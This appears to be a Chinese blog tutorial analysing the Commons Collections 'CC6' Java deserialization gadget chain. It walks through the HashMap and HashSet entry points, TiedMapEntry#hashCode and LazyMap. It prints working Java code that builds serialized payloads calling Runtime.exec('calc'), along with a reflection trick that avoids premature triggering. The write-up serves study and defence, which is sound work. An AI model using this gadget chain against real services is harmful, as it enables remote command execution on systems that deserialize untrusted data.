JAVA反序列化深入学习(八):CommonsCollections6
与CC5相似:
- 在 CC5 中使用了
TiedMapEntry#toString
来触发LazyMap#get
- 在 CC6 中是通过
TiedMapEntry#hashCode
来触发LazyMap#get
之前看到了 hashcode 方法也会调用
getValue()
方法然后调用到其中 map 的 get 方法触发 LazyMap,那重点就在于如何在反序列化时触发TiedMapEntry
的hashCode
方法了
JAVA环境
java version "1.8.0_74"
Java(TM) SE Runtime Environment (build 1.8.0_74-b02)
Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)
依赖版本
- Apache Commons Collections 依赖版本:commons-collections : 3.1 - 3.2.1
检查依赖配置
确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml
文件中添加以下依赖:
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>
资源下载
- maven
- Java8下载
- commons-collections源码
前置知识
HashMap - kick-off
之前在 URLDNS 中,我们发现,在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,那在此处当然也可以用来触发 TiedMapEntry 的 hashCode 方法
不太记得了可以回顾:JAVA反序列化深入学习(二):URLDNS-CSDN博客
但会遇到 URLDNS 中同样面临的问题:
调用链会在 HashMap 的 put 方法调用时提前触发,需要想办法绕过触发,可以采用以下几种方式:
- 类似URLDNS方法二,利用反射调用
putVal
方法写入 key 避免触发 - 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer
- 这样添加的时候不会执行任何恶意动作
- put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中
这样就完成了一个 HashMap 的触发方式
HashMap 的 put 方法可以触发 key 的 hashCode ,那还有没有入口类能触发这个方法了?
于是找到了 CC6 的 HashSet 触发方式
HashSet - kick-off
- HashSet 是一个无序的,不允许有重复元素的集合
- HashSet 本质上就是由 HashMap 实现的
// 构造一个新的空集合
// 具有默认初始容量(16)和负载因子(0.75)
public HashSet() {map = new HashMap<>();
}
// 构造一个包含指定集合中的元素的新集合
public HashSet(Collection<? extends E> c) {map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16));addAll(c);
}
- HashSet 中的元素都存放在 HashMap 的 key 上面
- 而 value 中的值都是统一的
// Dummy value to associate with an Object in the backing Map
private static final Object PRESENT = new Object();
- HashSet 跟 HashMap 一样,都是一个存放链表的数组
readObject
在 HashSet 的 readObject
方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in any hidden serialization magics.defaultReadObject();...// Create backing HashMapmap = (((HashSet<?>)this) instanceof LinkedHashSet ?new LinkedHashMap<E,Object>(capacity, loadFactor) :new HashMap<E,Object>(capacity, loadFactor));// Read in all elements in the proper order.for (int i=0; i<size; i++) {@SuppressWarnings("unchecked")E e = (E) s.readObject();map.put(e, PRESENT);}
}
攻击构造
基于HashMap
首先是结合 LazyMap 和 HashMap 的方式,这里使用了之前在URLDNS方法二中的反射代码,以及同时写了包含 Fake Chain 绕过触发的方式
恶意代码主体
public void CC6WithHashMap() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {// 初始化 HashMapHashMap<Object, Object> hashMap = new HashMap<>();Transformer[] transformers = GenTransformerArray();// 创建一个空的 ChainedTransformerChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});// 创建 LazyMap 并引入 TiedMapEntryMap lazyMap = LazyMap.decorate(new HashMap(), fakeChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "neolock");hashMap.put(entry, "neolock");//用反射再改回真的chainField f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(fakeChain, transformers);//清空由于 hashMap.put 对 LazyMap 造成的影响lazyMap.clear();// 反射调用 HashMap 的 putVal 方法// Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();// for (Method method : m) {// if ("putVal".equals(method.getName())) {// method.setAccessible(true);// method.invoke(hashMap, -1, entry, 0, false, true);// }// }writeObjectToFile(hashMap, fileName);readFileObject(fileName);}
Transformer数组生成
protected Transformer[] GenTransformerArray() throws IOException, NoSuchFieldException, IllegalAccessException {// 创建 ChainedTransformerTransformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};return transformers;
}
比较简单,就是一个缝合
基于HashSet
接下来看一下HashSet 的触发方式
恶意代码主体
public void CC6WithHashSet() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {// 初始化 HashMapHashMap<Object, Object> hashMap = new HashMap<>();Transformer[] transformers = GenTransformerArray();// 创建一个空的 ChainedTransformerChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});// 创建 LazyMap 并引入 TiedMapEntryMap lazyMap = LazyMap.decorate(new HashMap(), fakeChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "neolock");hashMap.put(entry, "neolock");// 唯一相对于上一个方法多出来的步骤,套了一层HashSetHashSet set = new HashSet(hashMap.keySet());//用反射再改回真的chainField f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(fakeChain, transformers);//清空由于 hashMap.put 对 LazyMap 造成的影响lazyMap.clear();writeObjectToFile(set, fileName);readFileObject(fileName);
}
Transformer数组生成与之前相同,可以看到我们只是简单的在 HashMap 之外嵌套了一层 HashSet
ysoserial
在 ysoserial 中的 CC6 payload 中,作者 matthias_kaiser 使用的方式是:
- 多次使用反射向 HashMap 及 HashSet 中写入值
- 兼容了 JDK 7 和 8 中成员变量名发生变化的情况
- 并且是通过向底层 map 中的 节点添加的方式
这种方式或许有点过于冗杂了,不如使用空 Transformer 链反射的方式,大大方方的向 HashMap 或 HashSet 中 push 数据
总结
以上就是 CC6 链分析的全部内容了,最后总结一下
利用说明
- 反序列化 调用 TiedMapEntry 的 toString 方法
- 调用了 LazyMap 的 hashCode 方法
- 触发了后续的 Transformer 恶意执行链
Gadget 总结
- kick-off gadget:
java.util.HashSet#readObject/java.util.HashMap#readObject
- sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform
- chain gadget:
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
调用链展示
HashSet.readObject()/HashMap.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()
- Java 反序列化漏洞(二) - Commons Collections | 素十八
- Java反序列化漏洞(八)- CommonsCollections6链
相关文章:
JAVA反序列化深入学习(八):CommonsCollections6
与CC5相似: 在 CC5 中使用了 TiedMapEntry#toString 来触发 LazyMap#get在 CC6 中是通过 TiedMapEntry#hashCode 来触发 LazyMap#get 之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,那重点就在于如何在反…...
科技快讯 | 韩国科学家研发出全球首款仿生液态机器人;OpenAI推出GPT-4o图像生成功能
韩国科学家研发出全球首款仿生液态机器人,自由变形穿越金属栅栏 韩国首尔大学等研究团队开发出一种基于液体的下一代软体机器人,具有细胞仿生特性,能自由变形、分裂融合,并执行物质运输任务。该机器人采用“颗粒装甲”设计&#x…...
[Vue2]v-model用于表单
之前我们讲到过v-model用于双向绑定一个数据,通常用于表单提交数据。而之前的演示里只演示了文本输入栏,这里详细演示一下其他表单输入时使用v-model。 文本输入 文本输入数据就是经典的type"text": <input type"text&qu…...
【机器学习】imagenet2012 数据预处理数据预处理
【机器学习】数据预处理 1. 下载/解压数据2. 数据预处理3. 加载以及训练代码3.1 使用PIL等加载代码3.2 使用OpenCV的方式来一张张加载代码3.3 h5的方式来加载大文件 最后总结 这个数据大约 140个G,128w的训练集 1. 下载/解压数据 首先需要下载数据: 数据最后处理…...
基于pycatia的CATIA零部件激活状态管理技术解析
一、问题背景:CATIA激活状态管理的痛点 在CATIA V5/V6的装配设计过程中,工程师经常使用激活状态控制(Activation)来管理大型装配体的显示性能。但实际使用中存在一个典型问题:当零部件被取消激活(Deac…...
基于javaweb的SpringBoot水果生鲜商城系统设计与实现(源码+文档+部署讲解)
技术范围:SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论…...
JVM 内存模型(JDK8+)
1. 内存模型结构图解 JVM 内存模型(JDK 8) ├── **线程私有区** │ ├── 程序计数器(Program Counter Register) │ ├── 虚拟机栈(VM Stack) │ │ └── 栈帧(局…...
基于飞腾FT2000/4的全国产标准6U VPX板卡,支持银河麒麟
1 功能 高可靠性的基于飞腾公司FT2000/4的处理器以及 X100 芯片组的标准6U VPX板卡,具有以太网、SATA、PCIE,以及显示等接口,产品功能框图如图1所示: 图 1 功能框图 2 技术指标 本产品功能和性能指标,见表 1。 表1 产品…...
【从零实现Json-Rpc框架】- 项目实现 - Dispatcher模块实现篇
📢博客主页:https://blog.csdn.net/2301_779549673 📢博客仓库:https://gitee.com/JohnKingW/linux_test/tree/master/lesson 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正! &…...
WPS宏开发手册——JSA语法练习
目录 系列文章3、JSA语法练习3.1、运算练习3.2、比较练习3.3、if else练习3.4、for 练习3.5、字符串、数组方法练习3.6、语义转编程练习题 系列文章 使用、工程、模块介绍 JSA语法 JSA语法练习题 Excel常用Api 后续EXCEL实战、常见问题、颜色附录,持…...
【自学笔记】Go语言基础知识点总览-持续更新
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 1. Go 语言简介2. 基本语法变量声明与赋值常量数据类型运算符 3. 控制结构条件语句循环语句 4. 函数函数定义与调用多返回值匿名函数与闭包 5. 并发编程goroutinech…...
PyQt6实例_批量下载pdf工具_主线程停止线程池
目录 前置: 代码: 视频: 前置: 1 本系列将以 “PyQt6实例_批量下载pdf工具”开头,放在 【PyQt6实例】 专栏 2 本系列涉及到的PyQt6知识点: 线程池:QThreadPool,QRunnable; 信号与…...
在 Vue 项目中,登录成功后是否存储 token 与用户信息到本地
答案:不安全 举例:直接使用localStorage存储,本地存储可能会被 XSS 攻击窃取 localStorage.setItem(token, response.token)localStorage.setItem(userInfo, JSON.stringify({username: response.username,email: response.email})) 推荐方…...
【加密社】做一个展示币种价格的组件
具体的代码是以下,可以看到 <div id"crypto-price-widget"><p class"loading">Loading cryptocurrency prices... <span class"spinner"></span></p> </div><script> document.addEventListener(DOM…...
CANoe入门——CANoe的诊断模块,调用CAPL进行uds诊断
目录 一、诊断窗口介绍 二、诊断数据库文件管理 三、添加基础诊断描述文件(若没有CDD/ODX/PDX文件)并使用对应的诊断功能进行UDS诊断 3.1、添加基础诊断描述文件 3.2、基于基础诊断,使用诊断控制台进行UDS诊断 3.2.1、生成基础诊断 3.…...
AI日报 - 2025年3月30日
🌟 今日概览(60秒速览) ▎🤖 模型进展 | Qwen2.5-Omni多模态实时交互,Gemini 2.5 Pro/GPT-4o低调升级,Claude内部思考过程揭秘。 新模型和升级持续涌现,多模态与内部机制理解成焦点。 ▎&#x…...
蓝桥刷题note11(好数)
1,好数 一个整数如果按从低位到高位的顺序,奇数位 (个位、百位、万位 ⋯⋯ ) 上的数字是奇数,偶数位 (十位、千位、十万位 ⋯⋯ ) 上的数字是偶数,我们就称之为 “好数”。 给定一个正整数 NN,请计算从 1 到 NN 一共…...
Go常用的设计模式
Go常用的设计模式 常见的设计模式,如 单例模式、工厂模式、策略模式、观察者模式、代理模式、装饰器模式 和 适配器模式 都可以在 Go 中实现,适用于不同的开发需求。 这些设计模式不仅能帮助你编写结构清晰、可维护的代码,还能让你更好地应…...
复现文献中的三维重建图像生成,包括训练、推理和可视化
要复现《One - 2 - 3 - 45 Fast Single Image to 3D Objects with Consistent Multi - View Generation and 3D Diffusion (CVPR)2024》文献中的三维重建图像生成,包括训练、推理和可视化,并且确保代码能正常运行,下面是基本的实现步骤和示例…...
day17 学习笔记
文章目录 前言一、数组的增删改查1.resize函数2.append函数3.insert函数4.delete函数5.argwhere函数6.unique函数 二、统计函数1.amax,amin函数2.ptp函数3.median函数4.mean函数5.average函数6.var,std函数 前言 通过今天的学习,我掌握了num…...
Mysql练习题
先创建对应数据表 #先创建表 #学生表 Student create table Student(SId varchar(10),Sname varchar(10),Sage datetime,Ssex varchar(10)); insert into Student values(01 , 赵雷 , 1990-01-01 , 男); insert into Student values(02 , 钱电 , 1990-12-21 , 男); insert int…...
torch不能使用cuda的解决方案
遇到了这样的报错,说明 torch不能使用cuda 反思 我频繁地尝试安装不同的 nvdia 驱动,浪费了很多时间。因为我的错误地认为nvidia会自带cuda,其实cuda需要单独安装。 还有我的torch是cpu版本的,即使nvidia cuda安装了࿰…...
Python 循环全解析:从语法到实战的进阶之路
一、问答题 (1)下面的循环体被重复了多少次?每次循环的输出结果是什么? i1 while i < 10:if i % 2 0:print(i)死循环,没有输出结果 i1 while i < 10:if i % 2 0:print(i)i l死循环,没有输出结果 i 1 while i< 10…...
代码随想录算法训练营--打卡day3
复习:标注感叹号的需要在电脑上重新做几遍 一.两两交换链表中的节点!! 1.题目链接 24. 两两交换链表中的节点 - 力扣(LeetCode) 2.思路 画图 3.代码 class Solution {public ListNode swapPairs(ListNode head) …...
ubuntu 安装mysql
在 Ubuntu 系统中安装 MySQL 的步骤如下: 步骤 1:更新软件包列表 sudo apt update步骤 2:安装 MySQL 服务器 sudo apt install mysql-server -yUbuntu 22.04/20.04 默认安装 MySQL 8.0,早期版本可能默认使用 MariaDB。 如果需要…...
用Python实现资本资产定价模型(CAPM)
使用 Python 计算资本资产定价模型(CAPM)并获取贝塔系数(β)。 步骤 1:导入必要的库 import pandas as pd import yfinance as yf import statsmodels.api as sm import matplotlib.pyplot as plt 步骤 2࿱…...
Conda配置Python环境
1. 安装 Conda 选择发行版: Anaconda:适合需要预装大量科学计算包的用户(体积较大)。 Miniconda:轻量版,仅包含 Conda 和 Python(推荐自行安装所需包)。 验证安装: co…...
Redisson延迟队列实战:分布式系统中的“时间管理者“
目录 引言:延迟队列的魅力与应用 什么是Redisson延迟队列? 技术原理与工作机制 应用场景 环境准备:搭建基础 Maven依赖配置 Redisson客户端配置 延迟队列实现:核心代码 工作原理深度解析 数据模型与存储结构 元素流转过…...
国产化适配 - YashanDB、达梦数据库与MySQL 的兼容性及技术选型对比分析
根据知识库信息,以下是 YashanDB、达梦数据库与MySQL 的兼容性及技术选型对比分析: 1. YashanDB 与 MySQL 兼容性 协议与语法兼容 : YashanDB 100%兼容 MySQL 5.7协议 的常用命令(如 SELECT、INSERT),但…...
从0开始——在PlatformIO下开展STM32单片机的HAL库函数编程指南
目录 前言 编写时钟初始化 实现Systicks_Handler,完成HAL库的时基更新 编写驱动测试 前言 笔者最开始的尝试是在2025年的寒假,准备向PlatformIO迁移HAL库,注意,截止到目前,PlatformIO对HAL库的支持已经非常完善了。…...
Python小练习系列 Vol.9:杨辉三角生成(数组构建 + 数学组合)
🧠 Python小练习系列 Vol.9:杨辉三角生成(数组构建 数学组合) 🔺 本期我们带来一道简洁却优雅的经典练习 —— 生成杨辉三角,是训练数组操作与组合思想的绝佳题目! 🧩 一、题目描述…...
Webview详解(下)
第三阶段:性能优化 加载速度优化 缓存策略 缓存策略可以显著减少网络请求,提升页面加载速度。常用的缓存策略包括 HTTP 缓存和本地资源预加载。 1. HTTP 缓存 HTTP 缓存利用 HTTP 协议中的缓存机制(如 Cache-Control、ETag 等࿰…...
scss基础用法
SCSS(Sassy CSS)是Sass的增强版本,作为CSS的预处理器,它提供了多种功能来提高代码的可维护性和效率。以下是SCSS的基础用法: 变量(Variables) 用于存储常用的值,如颜色、字体大小等。…...
知能行每日综测
题目1 自己的做法 答案 题目2 自己的 答案 题目3 注意:这道做错了,你们可以看看我哪里错了 题目4 我的 答案 题目5 没思路,不会做 已更改 题目6 答案 第七题 我的 不会 现在补综测最后一个...
c++ vs和g++下的string结构
话不多说进入正题.注:下述结构是在32位平台下进行验证,32位平台下指针占4个字节. vs下string的结构 string总共占28个字节,内部结构稍微复杂一点,先是有一个联合体,联合体用来定义 string中字符串的存储空间:(联合体的…...
海量数据处理
1.海量数据处理问题 给两个文件,分别有100亿个query,只有1G内存,如何找到两个文件交集? 解决方案一: 可以先用布隆过滤器,一个文件的query放进布隆过滤器,另一个文件依次查找,在的…...
洛谷题单1-P5706 【深基2.例8】再分肥宅水-python-流程图重构
题目描述 现在有 t t t 毫升肥宅快乐水,要均分给 n n n 名同学。每名同学需要 2 2 2 个杯子。现在想知道每名同学可以获得多少毫升饮料(严格精确到小数点后 3 3 3 位),以及一共需要多少个杯子。 输入格式 输入一个实数 t …...
【HarmonyOS 5】初学者如何高效的学习鸿蒙?
【HarmonyOS 5】初学者如何高效的学习鸿蒙? 一、前言 在全球科技格局风云变幻的当下,谷歌安卓系统的管控逐步收紧,加之国际形势愈发复杂,打造中国人自主的操作系统,已成为时代发展的必然要求,这不仅是突破…...
Java NIO之FileChannel 详解
关键点说明 文件打开选项: StandardOpenOption.CREATE - 文件不存在时创建 StandardOpenOption.READ/WRITE - 读写权限 StandardOpenOption.APPEND - 追加模式 StandardOpenOption.TRUNCATE_EXISTING - 清空已存在文件 缓冲区操作: ByteBuffer.wrap…...
数据可视化(matplotlib)-------图表样式美化
目录 一、图表样式概述 (一)、默认图表样式 (二)、图表样式修改 1、局部修改 2、全局修改 二、使用颜色 (一)、使用基础颜色 1、单词缩写或单词表示的颜色 2、十六进制/HTML模式表示的颜色 3、RGB…...
Go 语言中,关于客户端初始化的最佳实践
在 Go 语言中,关于客户端初始化的最佳实践确实需要注意以下几点: 全局单例模式是推荐做法,尤其对于需要保持长连接或需要复用资源的客户端(如数据库、Redis、HTTP 客户端等)并发安全是必须保证的,需要确保…...
MyBatis的第一天笔记
1. MyBatis 概述 1.1 什么是框架 框架是对通用代码的封装,提前写好了一堆接口和类,可以直接引入使用框架一般以jar包形式存在Java常用框架:SSM三大框架(Spring SpringMVC MyBatis)、SpringBoot、SpringCloud等 1.…...
区块链赋能,为木材货场 “智” 造未来
区块链赋能,为木材货场 “智” 造未来 在当今数字化浪潮席卷的时代,软件开发公司不断探索创新,为各行业带来高效、智能的解决方案。今天,让我们聚焦于一家软件开发公司的杰出成果 —— 区块链木材货场服务平台,深入了…...
IvorySQL:兼容Oracle数据库的开源PostgreSQL
今天给大家介绍一款基于 PostgreSQL 开发、兼容 Oracle 数据库的国产开源关系型数据库管理系统:IvorySQL。 IvorySQL 由商瀚高软件提供支持,主要的功能特性包括: 完全兼容 PostgreSQL:IvorySQL 基于 PostgreSQL 内核开发…...
Python 序列构成的数组(切片)
切片 在 Python 里,像列表(list)、元组(tuple)和字符串(str)这类 序列类型都支持切片操作,但是实际上切片操作比人们所想象的要强大 很多。 这一节主要讨论的是这些高级切片形式的…...
Pre-flash和Main flash
在相机拍照过程中,Pre-flash(预闪光) 和 Main flash(主闪光) 是常见的两种闪光灯使用模式,通常用于提高低光环境下的拍摄质量,尤其在自动曝光(AE)和自动对焦(…...
【区块链安全 | 第十篇】智能合约概述
部分内容与前文互补。 文章目录 一个简单的智能合约子货币(Subcurrency)示例区块链基础交易区块预编译合约 一个简单的智能合约 我们从一个基础示例开始,该示例用于设置变量的值,并允许其他合约访问它。 // SPDX-License-Identi…...
判断质数及其优化方法
判断质数(素数)及其优化方法 质数是指 大于1的自然数,且 只有1和它本身两个正约数。以下是几种判断方法及其优化策略。 目录 基础方法(试除法)优化1:仅检查到√n优化2:跳过偶数优化3ÿ…...
【源码阅读/Vue Flask前后端】简历数据查询功能
目录 一、Flask后端部分modelServiceroute 二、Vue前端部分index.js main.vue功能界面templatescriptstyle 一般就是三个层面,model层面用来建立数据库的字段,service用来对model进行操作,写一些数据库操作的代码,route就是具体的…...
R语言对偏态换数据进行转换(对数、平方根、立方根)
我们进行研究的时候经常会遇见偏态数据,数据转换是统计分析和数据预处理中的一项基本技术。使用 R 时,了解如何正确转换数据有助于满足统计假设、标准化分布并提高分析的准确性。在 R 中实现和可视化最常见的数据转换:对数、平方根和立方根转…...